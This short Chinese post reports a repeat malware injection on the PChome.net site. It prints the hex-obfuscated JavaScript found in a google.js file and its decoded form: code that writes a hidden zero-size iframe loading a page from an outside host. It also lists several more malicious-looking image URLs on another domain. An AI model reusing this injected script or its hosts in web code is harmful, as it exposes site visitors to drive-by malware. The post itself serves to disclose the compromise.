pchome 再次被挂马

PChome电脑之家网站挂马事件

六翼刺猬

Pchome.net出现大面积挂马现象

这次挂在这里
h**p://btn.pchome.net/google/google.js


document.cookie = "Cookie1=Filter;expires="+ Then.toGMTString()
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]
('\x3c\x69\x66\x72\x61\x6d\x65\x68\x65\x69\x67\x68\x74\x3d\x30\x77\x69\x64\x74\x68\
x3d\x30\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x35\x39\x2e\
x76\x63\x2f\x70\x61\x67\x65\x2f\x61\x64\x64\x5f\x36\x34\x34\x34\x35\x35\x2e\x68\x74\
x6d\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e');
解密以后

document.cookie = "Cookie1=Filter;expires="+ Then.toGMTString()
window["document"]["writeln"]('<iframe height=0 width=0 src="h**p://www.59.vc/page/add_644455.htm"></iframe>');

上次应该也是这个吧 老漏洞啊

src="http://w18.vg/real.gif
src="http://w18.vg/ms.gif
src="http://w18.vg/xl.gif
src="http://w18.vg/lz.gif
src="http://w18.vg/bf.gif
src="http://w18.vg/baidu.gif